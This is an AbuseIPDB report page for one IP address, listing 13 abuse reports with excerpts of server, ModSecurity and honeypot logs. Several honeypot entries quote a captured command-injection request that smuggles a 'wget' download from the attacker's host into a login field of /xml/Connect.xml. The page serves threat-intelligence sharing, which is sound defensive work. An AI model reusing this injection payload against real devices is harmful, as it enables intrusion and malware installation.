JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 206.206.123.95

206.206.123.95 was found in our database!

This IP was reported 13 times. Confidence of Abuse is 19%: ?

19%

ISP	IPXO LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS212238
Domain Name	ipxo.com
Country	🇺🇸 United States of America
City	Seattle, Washington

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 206.206.123.95

Whois 206.206.123.95

IP Abuse Reports for 206.206.123.95:

This IP address has been reported a total of 13 times from 13 distinct sources. 206.206.123.95 was first reported on January 22nd 2026, and the most recent report was 1 month ago.

Old Reports: The most recent abuse report for this IP address is from 1 month ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 Mantene	2026-06-13 15:50:25 (1 month ago)	206.206.123.95 - - [13/Jun/2026:11:50:24 -0400] "POST /cgi-bin/main-cgi HTTP/1.1" 404 146 "-" "Mozil ... show more 206.206.123.95 - - [13/Jun/2026:11:50:24 -0400] "POST /cgi-bin/main-cgi HTTP/1.1" 404 146 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.1" 206.206.123.95 - - [13/Jun/2026:11:50:24 -0400] "POST /cgi-bin/main-cgi HTTP/1.1" 404 146 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.1" ... show less	Brute-Force SSH
🇳🇱 Eric	2026-06-11 04:52:44 (1 month ago)	[Thu Jun 11 04:52:43.126968 2026] [security2:error] [pid 2354998:tid 2354998] [client 206.206.123.95 ... show more [Thu Jun 11 04:52:43.126968 2026] [security2:error] [pid 2354998:tid 2354998] [client 206.206.123.95:57678] [client 206.206.123.95] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "94.209.38.171"] [severity "WARNING"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "94.209.38.171"] [uri "/cgi-bin/autologin.cgi"] [unique_id "aio_G6RvtK-FM9qccG4LJQAAAAQ"] [Thu Jun 11 04:52:43.129726 2026] [security2:error] [pid 2354998:tid 2354998] [client 206.206.123.95:57678] [client 206.206.123.95] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING- ... show less	Hacking Web App Attack
🇮🇪 Jim Keir	2026-06-11 04:28:39 (1 month ago)	2026-06-11 04:28:38 206.206.123.95 File scanning, blocking 206.206.123.95 for 5 minutes	Web App Attack
🇹🇷 ozyurterdem	2026-06-11 04:00:19 (1 month ago)	T-Pot Suricata IDS: 7 alert(s) in 24h. SiberKale Threat Intel (unknown-bad filtered).	Hacking IoT Targeted
🇳🇱 Mangelot Hosting	2026-06-11 03:51:16 (1 month ago)	(modsecurity) srv103 ModSecurity 206.206.123.95 (US/United States/-): 10 in the last 3600 secs; Port ... show more (modsecurity) srv103 ModSecurity 206.206.123.95 (US/United States/-): 10 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_CUSTOMTRIGGER; Logs: show less	Web App Attack
Anonymous	2026-06-11 03:38:46 (1 month ago)	Fail2Ban apache-noscript	Bad Web Bot
🇺🇸 Matthew Ping	2026-05-01 14:15:01 (2 months ago)	Port scan detected and blocked by CSF/LFD on wp3.	Port Scan
🇵🇱 sefinek.net	2026-04-06 03:01:31 (3 months ago)	Honeypot hit: HTTP/1.1 request on 15443 POST /xml/Connect.xml User-Agent: Mozilla/5.0 (Macintosh; I ... show more Honeypot hit: HTTP/1.1 request on 15443 POST /xml/Connect.xml User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.1 Accept: / Accept-Encoding: gzip, deflate POST Data: action=login&kPath=%27%0Awget%20http%3A//206.206.123.95/SW069D3216318B8D6%0A%27&loginUser=admin&loginPwd=pass; 15443 [12] TCP Reported by: https://github.com/sefinek/T-Pot-To-AbuseIPDB show less	Hacking Bad Web Bot
🇬🇧 gbzret4d	2026-04-06 01:58:08 (3 months ago)	Honeypot [uk-production01]: HTTP/1.1 request on 60023 POST /xml/Connect.xml User-Agent: Mozilla/5.0 ... show more Honeypot [uk-production01]: HTTP/1.1 request on 60023 POST /xml/Connect.xml User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.1 Accept: / Accept-Encoding: gzip, deflate POST Data: action=login&kPath=%27%0Awget%20http%3A//206.206.123.95/SW069D312B5241FC1%0A%27&loginUser=admin&loginPwd=pass; 60023 [12] TCP show less	Hacking Bad Web Bot
🇩🇪 ValtonTahiri	2026-04-06 00:53:05 (3 months ago)	Honeypot hit: HTTP/1.1 request on 12905 POST /xml/Connect.xml User-Agent: Mozilla/5.0 (Macintosh; I ... show more Honeypot hit: HTTP/1.1 request on 12905 POST /xml/Connect.xml User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.1 Accept: / Accept-Encoding: gzip, deflate POST Data: action=login&kPath=%27%0Awget%20http%3A//206.206.123.95/SW069D30336506085%0A%27&loginUser=admin&loginPwd=pass on 12905/TCP (12 attempts) show less	Hacking Bad Web Bot
🇩🇪 Viveronese	2026-03-03 19:26:41 (4 months ago)	HTTP vulnerability scanning	Web App Attack
🇧🇪 taivas.nl	2026-03-03 18:02:11 (4 months ago)	Bad_requests	Bad Web Bot
🇺🇸 Brian Minton	2026-01-22 16:52:20 (6 months ago)	2026-01-22 10:52:18 no host name found for IP address 206.206.123.95 2026-01-22 10:52:18 no host nam ... show more 2026-01-22 10:52:18 no host name found for IP address 206.206.123.95 2026-01-22 10:52:18 no host name found for IP address 206.206.123.95 2026-01-22 10:52:19 no host name found for IP address 206.206.123.95 ... show less	Brute-Force

Showing 1 to 13 of 13 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇸🇬 152.32.220.188

🇷🇺 141.8.192.25

🇫🇷 91.231.89.60

🇱🇹 77.90.185.79

🇺🇸 65.49.1.202

🇲🇾 49.124.155.189

🇺🇸 18.97.5.115

🇳🇱 204.76.203.49

🇺🇸 174.138.44.8

🇮🇳 165.101.250.39

🇺🇸 162.217.100.201

🇺🇸 162.216.150.102

🇳🇱 147.45.240.150

🇹🇼 114.33.97.131

🇿🇦 102.213.135.113

🇦🇪 92.99.162.238

🇲🇲 45.192.139.185

🇨🇳 39.107.104.228

🇻🇪 38.41.42.226

🇨🇭 20.203.142.71